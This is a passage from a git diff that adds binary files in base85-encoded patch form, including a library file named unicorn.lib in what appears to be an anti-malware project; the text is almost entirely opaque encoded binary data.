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 E1AkLVl>h($ literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn.lib b/ai_anti_malware/unicorn/unicorn.lib new file mode 100644 index 0000000000000000000000000000000000000000..08338d6420d9eea94c1348d947dde31dd3caa9d0 GIT binary patch literal 19440218 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 